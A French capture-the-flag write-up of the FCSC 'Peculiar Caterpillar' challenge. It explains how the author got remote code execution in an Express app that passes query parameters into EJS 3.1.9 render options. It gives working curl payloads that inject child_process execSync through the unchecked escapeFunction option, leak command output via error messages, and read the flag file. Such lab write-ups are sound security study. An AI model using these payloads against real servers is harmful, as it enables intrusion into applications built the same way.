Peculiar Caterpillar
Alors qu'elle se promenait au Pays des merveilles,
Alice tomba sur une chenille étrange.
À sa grande surprise, cette
dernière se vantait d'avoir construit son propre site web en utilisant Javascript.
Bien que le site semblait simple,
Alice ne pouvait s'empêcher de se demander s'il était vraiment sécurisé.
https://peculiar-caterpillar.france-cybersecurity-challenge.fr/
SHA256(peculiar-caterpillar-public.tar.gz) =
0aad816ba8eeff048785257f1bc157e83e59ec3246af0f9556ef7b6e39b56b6f.
Analyse
Le challenge nous offre une archive, contenant plusieurs fichiers intéressants. On apprend notamment que l’application est codée en Node.js et qu’elle utilise deux dépendances.
package.json
{
"name": "express_hello",
"version": "1.0.0",
"main": "index.js",
"license": "MIT",
"dependencies": {
"ejs": "^3.1.9",
"express": "^4.18.2"
}
}
Le code source de l’application permet lui de nous afficher un message en fonction de la clé name
que nous lui envoyons dans l’URI.
require("express")().set("view engine", "ejs").use((req, res) => res.render("index", { name: "World", ...req.query })).listen(3000);
❯ curl http://127.0.0.1:3000/ | tail
}
</style>
</head>
<body>
<main>
<div id="bubble">Hello World</div>
</main>
</body>
</html>
❯ curl "http://127.0.0.1:3000/?name=Aether" | tail
}
</style>
</head>
<body>
<main>
<div id="bubble">Hello Aether</div>
</main>
</body>
</html>
Vulnérabilité
Une simple recherche permet de trouver un article qui explique comment réaliser une RCE sur la lib ejs
(cf: https://eslam.io/posts/ejs-server-side-template-injection-rce/).
En réalisant les étapes une à une, je réussis à avoir exactement les mêmes comportements… C’est louche.
J’arrive donc jusqu’à la fin de l’article, au moment de réaliser la fameuse RCE (cf! https://eslam.io/posts/ejs-server-side-template-injection-rce/#the-rce-exploit-).
J’étais un peu, comme, aller prochain challenge s’est réglé !
Puis…
❯ curl "http://127.0.0.1:3000/?name=Aether&settings\[view%20options\]\[outputFunctionName\]=x;process.mainModule.require('child_process').execSync('id');s"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: outputFunctionName is not a valid JS identifier.<br> at Template.compile (/app/node_modules/ejs/lib/ejs.js:593:17)<br> at Object.compile (/app/node_modules/ejs/lib/ejs.js:398:16)<br> at handleCache (/app/node_modules/ejs/lib/ejs.js:235:18)<br> at tryHandleCache (/app/node_modules/ejs/lib/ejs.js:274:16)<br> at View.exports.renderFile [as engine] (/app/node_modules/ejs/lib/ejs.js:491:10)<br> at View.render (/app/node_modules/express/lib/view.js:135:8)<br> at tryRender (/app/node_modules/express/lib/application.js:657:10)<br> at Function.render (/app/node_modules/express/lib/application.js:609:3)<br> at ServerResponse.render (/app/node_modules/express/lib/response.js:1039:7)<br> at /app/index.js:1:70</pre>
</body>
</html>
On obtient l’erreur Error: outputFunctionName is not a valid JS identifier.
. En continuant l’article, on apprend que la vulnérabilité a été trouvé avant la version v3.1.7
. Ce qui ne nous arrange pas.
Il va falloir mettre les mains dans le code et regarder tout cela.
Analyse de code
On va donc récupérer la version 3.1.9
et l’analyser en local.
wget https://github.com/mde/ejs/archive/refs/tags/v3.1.9.zip
En reprenant la même partie de code vulnérable que dans l’article, on remarque qu’il y a maintenant une regex qui est appliqué pour éviter les injections de code.
ejs.js:68 var _JS_IDENTIFIER = /^[a-zA-Z_$][0-9a-zA-Z_$]*$/;
ejs.js:591 if (opts.outputFunctionName) {
ejs.js:592 if (!_JS_IDENTIFIER.test(opts.outputFunctionName)) {
ejs.js:593 throw new Error('outputFunctionName is not a valid JS identifier.');
ejs.js:594 }
ejs.js:595 prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
ejs.js:596 }
L’idée serait de trouver un argument qui n’a pas cette vérification afin de l’utilisé pour exploiter à nouveau une RCE.
RCE
En cherchant plus bas dans le code, on aperçoit des options qui ne sont pas vérifiées.
ejs.js:580 var escapeFn = opts.escapeFunction;
ejs.js:636 if (opts.client) {
ejs.js:637 src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
ejs.js:638 if (opts.compileDebug) {
ejs.js:639 src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
ejs.js:640 }
ejs.js:641 }
Parfait, on a trouvé dans le code des options qui ne sont pas checké par la condition.
Pour permettre de mieux comprendre comment réaliser notre exploit, nous pouvons passer debug=true
dans l’URL afin d’avoir une sortie textuelle dans les logs de notre Docker.
❯ curl "http://127.0.0.1:3000/?name=Aether&debug=true&client=true&settings\[view%20options\]\[escapeFunction\]=AETHER"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>ReferenceError: AETHER is not defined<br> at index ("/app/views/index.ejs":26:24)<br> at tryHandleCache (/app/node_modules/ejs/lib/ejs.js:274:36)<br> at View.exports.renderFile [as engine] (/app/node_modules/ejs/lib/ejs.js:491:10)<br> at View.render (/app/node_modules/express/lib/view.js:135:8)<br> at tryRender (/app/node_modules/express/lib/application.js:657:10)<br> at Function.render (/app/node_modules/express/lib/application.js:609:3)<br> at ServerResponse.render (/app/node_modules/express/lib/response.js:1039:7)<br> at /app/index.js:1:70<br> at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)<br> at trim_prefix (/app/node_modules/express/lib/router/index.js:328:13)</pre>
</body>
</html>
app_1 | escapeFn = escapeFn || AETHER;
Dans un fonctionnement normal et sans l’injection, cette ligne ressemble à cela:
app_1 | escapeFn = escapeFn || function (markup) {
Simple et efficace, on va créer une fonction vide puis réaliser une exécution de commande
payload:
❯ curl "http://127.0.0.1:3000/?name=Aether&debug=true&client=true&settings\[view%20options\]\[escapeFunction\]=function(markup)+\{\}%3bprocess.mainModule.require(%27child_process%27).execSync('id')
Le code interprété sera le suivant: app_1 | escapeFn = escapeFn || function(markup) {};process.mainModule.require('child_process').execSync('id');
Cependant, sans retour de commande, cela va être compliqué de récupérer le flag. Heureusement le File System est en read_only
ce qui nous permet de générer des erreurs avec l’output de nos commandes.
❯ curl "http://127.0.0.1:3000/?name=Aether&debug=true&client=true&settings\[view%20options\]\[escapeFunction\]=function(markup)+\{\}%3bprocess.mainModule.require(%27child_process%27).execSync('id>/tmp/\$(id)')"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: Command failed: id>/tmp/$(id)
<br>/bin/sh: can't create /tmp/uid=405(guest) gid=100(users) groups=100(users): Read-only file system
Flag
Il ne nous reste plus qu’à récupérer le flag en remote:
❯ curl "https://peculiar-caterpillar.france-cybersecurity-challenge.fr/?name=Aether&debug=true&client=true&settings\[view%20options\]\[escapeFunction\]=function(markup)+\{\}%3bprocess.mainModule.require(%27child_process%27).execSync('id>/tmp/\$(ls+-lah+/app)')"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: Command failed: id>/tmp/$(ls -lah /app)
<br>/bin/sh: can't create /tmp/total 52K
<br>drwxr-xr-x 1 root root 4.0K Apr 27 13:00 .
<br>drwxr-xr-x 1 root root 4.0K Apr 27 13:01 ..
<br>-rw-r--r-- 1 root root 71 Apr 27 13:00 flag-a49d3e9518ee659fa932482818e7eeeb.txt
❯ curl "https://peculiar-caterpillar.france-cybersecurity-challenge.fr/?name=Aether&debug=true&client=true&settings\[view%20options\]\[escapeFunction\]=function(markup)+\{\}%3bprocess.mainModule.require(%27child_process%27).execSync('id>/tmp/\$(cat+/app/flag-a49d3e9518ee659fa932482818e7eeeb.txt)')"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: Command failed: id>/tmp/$(cat /app/flag-a49d3e9518ee659fa932482818e7eeeb.txt)
<br>/bin/sh: can't create /tmp/FCSC{232448f3783105b36ab9d5f90754417a4f17931b4bdeeb6f301af2db0088cef6}
flag: FCSC{232448f3783105b36ab9d5f90754417a4f17931b4bdeeb6f301af2db0088cef6}